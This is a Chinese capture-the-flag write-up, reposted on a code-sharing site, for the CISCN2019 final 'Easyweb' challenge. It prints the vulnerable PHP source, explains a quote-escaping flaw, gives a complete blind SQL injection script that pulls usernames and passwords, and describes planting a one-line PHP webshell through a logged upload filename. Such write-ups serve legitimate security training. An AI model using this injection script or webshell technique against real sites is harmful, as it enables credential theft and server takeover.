码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • [CISCN2019 总决赛 Day2 Web1]Easyweb


     扫目录能扫到一个robots.txt

    在页面源代码发现

    访问image.php.bak拿到源码

    1. <?php
    2. include "config.php";
    3. $id=isset($_GET["id"])?$_GET["id"]:"1";
    4. $path=isset($_GET["path"])?$_GET["path"]:"";
    5. $id=addslashes($id);
    6. $path=addslashes($path);
    7. $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
    8. $path=str_replace(array("\\0","%00","\\'","'"),"",$path);
    9. $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
    10. $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
    11. $path="./" . $row["path"];
    12. header("Content-Type: image/jpeg");
    13. readfile($path);

    输入\0,按照它本来的设计应该是想把这个\0替换为空,但是\0会先被转义函数转义为\\0,因为他会先走addslashes函数,这样再进行替换的时候就会剩下\这里id被过滤完后剩下的转义符\,刚好可以转义原来的sql语句中id的后一个单引号

    使得

    select * from images where id='{$id}' or path='{$path}'

    变为

    select * from images where id='\' or path='{$path}'

    实际上查询的值是' or path=

     脚本

    1. import requests
    2. url='http://4354f819-3b9a-47cf-b39f-6e16f65b5ccd.node4.buuoj.cn:81/image.php'
    3. flag=''
    4. min=0
    5. max=127
    6. mid=int((min+max)/2)
    7. for i in range(25):
    8. while mid>min:
    9. # payload=" or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),1,0)# ".format(i,mid)
    10. # payload=" or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{}),1,0)# ".format(i,mid)
    11. # payload=" or if((ascii(substr((select group_concat(username) from users),{},1))>{}),1,0)# ".format(i,mid)
    12. payload=" or if((ascii(substr((select group_concat(password) from users),{},1))>{}),1,0)# ".format(i,mid)
    13. params={
    14. 'id':'\\0',
    15. 'path':payload
    16. }
    17. res=requests.get(url,params=params).text
    18. if 'JFIF' in res:
    19. min=mid
    20. mid=int((min+max)/2)
    21. else:
    22. max=mid
    23. mid=int((min+max)/2)
    24. flag+=chr(mid+1)
    25. print(flag)
    26. min=0
    27. max=127
    28. mid=int((min+max)/2)
    29. print(flag)

    username就是admin,password是中间的这部分

    登录上来有个文件上传,直接上传一个php文件

    发现不能直接上传 ,改成jpg

    去访问logs/upload.35f522295f76eb27b1601c557fc42278.log.php

    记录了文件名

    把文件名写成一句话木马

    注意这里用了短标签的写法

    找到flag

     

  • 相关阅读:
    考研数学|汤家凤《1800》vs 张宇《1000》怎么选?
    数字化转型过程中,企业如何搭建好数据安全?
    初级Matlab画图经验简单记录以及错误使用plot矢量长度必须相同问题解决
    Node.js 实战 第2章 Node 编程基础 2.4 用 node_modules 重用模块 & 2.5 注意事项
    【Unity的HDRP渲染管线搭建配置VR交互场景_SteamVR 插件和Pico串流助手_经验分享】
    [移动端] “viewport“ content=“width=device-width, initial-scale=1.0“ 什么意思
    matlab画图中图
    水儿的绘画——dfs连通块+暴力枚举
    代码随想录补打卡 121买卖股票的最佳时机 122 买卖股票的最佳时机 二123买卖股票的最佳时机 三
    Spring的资源管理(Resource)
  • 原文地址:https://blog.csdn.net/Yb_140/article/details/127964437
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号